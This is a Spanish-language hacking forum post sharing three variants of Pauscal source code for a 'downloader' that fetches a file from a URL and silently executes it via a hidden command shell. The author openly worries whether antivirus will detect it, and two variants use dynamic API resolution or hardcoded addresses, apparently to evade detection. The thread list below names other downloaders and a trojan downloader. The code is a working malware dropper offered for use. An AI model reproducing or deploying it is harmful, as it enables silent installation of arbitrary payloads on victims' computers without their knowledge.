Enero 24, 2018, 06:15:12 am

Autor Tema: [Pauscal] Código Downloader's  (Leído 3275 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Yuki

  • Me das tu IP?
  • *
  • Mensajes: 4
    • Ver Perfil
[Pauscal] Código Downloader's
« en: Febrero 26, 2015, 03:54:06 am »
Bueno, me puse a codear un downloader en Pauscal, les dejo los códigos... no los escanee, pero supongo que estaran detectables (o no ...?).

Les ofresco distintos metodos.

Downloader #1
Con las tipicas apis de windows, usando WinExec en vez de ShellExecute.

Código: You are not allowed to view links. Register or Login
Proc URLDownloadToFile(:Entero,Referencia,:Cadena,,:Entero):Entero,"Urlmon.dll" "URLDownloadToFileA"
Proc WinExec(Referencia lpCmdLine:Cadena,uCmdShow:Entero):Entero,"Kernel32.dll"

Proc Downloader_1(Referencia URL,Archivo:Cadena)
Si URLDownloadToFile(0,URL,Archivo,0,0) = 0 Entonces WinExec("CMD /D /C " + #34 + Archivo + #34,0)
FinProc

Downloader #2
Usando las mismas apis, pero utilizando prototipos en vez de declaraciones, mas LoadLibrary y GetProcAdress.

Código: You are not allowed to view links. Register or Login
Prototipo URLDownloadToFile(,,,,:Entero):Entero
Prototipo WinExec(,:Entero):Entero

Proc LoadLibrary(Referencia lpLibFileName:Cadena):Entero,"Kernel32" "LoadLibraryA"
Proc GetProcAddress(hModule:Entero,Referencia lpProcName:Cadena):Entero,"Kernel32" "GetProcAddress"
Proc FreeLibrary(hLibModule:Entero):Entero,"Kernel32.dll"

Proc Downloader_2(Referencia URL,Archivo:Cadena)
Var LibreriaPtr,ProcedimientoPtr:Entero
Var EnlaceAArchivo:UrlDownloadToFile
Var WinEjecutar:WinExec
Var UrlCheck:Entero
Var Comando:Cadena
Var @Ptr1,@Ptr2,@Ptr3:Entero
Comando = "CMD /D /C " + #34 + Archivo + #34
Ptr1@ = Url@ ' Los prototipos deben enviar punteros a las cadenas como las llamadas originales.
Ptr2@ = Archivo@
Ptr3@ = Comando@
LibreriaPtr = LoadLibrary("Urlmon.dll")
Si LibreriaPtr = 0 Entonces Salir ' Si por alguna razon no  carga la libreria, salir del procedimiento.
ProcedimientoPtr = GetProcAddress(LibreriaPtr,"URLDownloadToFileA")
Si ProcedimientoPtr = 0 Entonces Salir ' Si no carga el proc de la api, salir.
FreeLibrary(LibreriaPtr) ' Liberamos la DLL.
EnlaceAArchivo@ = ProcedimientoPtr
Si EnlaceAArchivo(0,Ptr1,Ptr2,0,0) = 0 Entonces ' Establecemos los parametros y llamamos a la API.
LibreriaPtr = LoadLibrary("Kernel32.dll")
Si LibreriaPtr = 0 Entonces Salir ' Si por alguna razon no  carga la libreria, salir del procedimiento.
ProcedimientoPtr = GetProcAddress(LibreriaPtr,"WinExec")
Si ProcedimientoPtr = 0 Entonces Salir ' Si no carga el proc de la api, salir.
WinEjecutar@ = ProcedimientoPtr
WinEjecutar(Ptr3,0)
FreeLibrary(LibreriaPtr) ' Liberamos la DLL.
FinSi
FinProc

Downloader #3
ATENCIÓN! Este puede no funcionar en todos los sistemas operativos, basicamente es el código anterior, pero usamos los punteros a los procedimientos DIRECTAMENTE, sin obtenerlos mediante GetProcAddress.

Código: You are not allowed to view links. Register or Login
Prototipo URLDownloadToFile(,,,,:Entero):Entero
Prototipo WinExec(,:Entero):Entero

Proc Downloader_3(Referencia URL,Archivo:Cadena)
Var LibreriaPtr,ProcedimientoPtr:Entero
Var EnlaceAArchivo:UrlDownloadToFile
Var WinEjecutar:WinExec
Var Comando:Cadena
Var @Ptr1,@Ptr2,@Ptr3:Entero
Comando = "CMD /D /C " + #34 + Archivo + #34
Ptr1@ = Url@
Ptr2@ = Archivo@
Ptr3@ = Comando@
EnlaceAArchivo@ = 1977837776
Si EnlaceAArchivo(0,Ptr1,Ptr2,0,0) = 0 Entonces
WinEjecutar@ = 1881876227
WinEjecutar(Ptr3,0)
FinSi
FinProc

Espero que les sirva, saludos!


exclamation
Goear downloader[WII][Codigo fuente en C]

Iniciado por MoisesE

4 Respuestas
3006 Vistas
Último mensaje Enero 13, 2010, 08:53:04 am
por myguestp
xx
Añadir Pauscal a Programación

Iniciado por Grox

20 Respuestas
8007 Vistas
Último mensaje Junio 19, 2010, 07:05:17 pm
por .:WindHack:.®
exclamation
Pauscal el lenguaje de programación Argentino

Iniciado por Yuki

0 Respuestas
541 Vistas
Último mensaje Febrero 09, 2015, 07:46:00 am
por Yuki
xx
[Downloader]HeatshocK Downloader v1

Iniciado por sn0x.

6 Respuestas
1548 Vistas
Último mensaje Agosto 22, 2008, 09:53:16 pm
por mankito
xx
[DOWN]Downloader -=- D.m.C.4 -=- FoR kyp's

Iniciado por sn0x.

0 Respuestas
1142 Vistas
Último mensaje Mayo 13, 2008, 01:05:37 pm
por sn0x.
xx
[DOWN]Downloader (FWB++)

Iniciado por sn0x.

0 Respuestas
1295 Vistas
Último mensaje Mayo 13, 2008, 01:06:11 pm
por sn0x.
exclamation
[C#] DH Downloader 1.0

Iniciado por BigBear

0 Respuestas
1141 Vistas
Último mensaje ſeptiembre 19, 2014, 01:10:35 pm
por BigBear
question
Que es un Downloader?

Iniciado por Adzok

7 Respuestas
1254 Vistas
Último mensaje Octubre 06, 2011, 05:18:57 am
por natas
xx
[DOWN]Gh0stly Downloader 2.0

Iniciado por sn0x.

0 Respuestas
1243 Vistas
Último mensaje Marzo 13, 2008, 11:52:32 am
por sn0x.
xx
troyan downloader

Iniciado por elmigra

4 Respuestas
1006 Vistas
Último mensaje Enero 31, 2012, 04:50:07 am
por mDrinky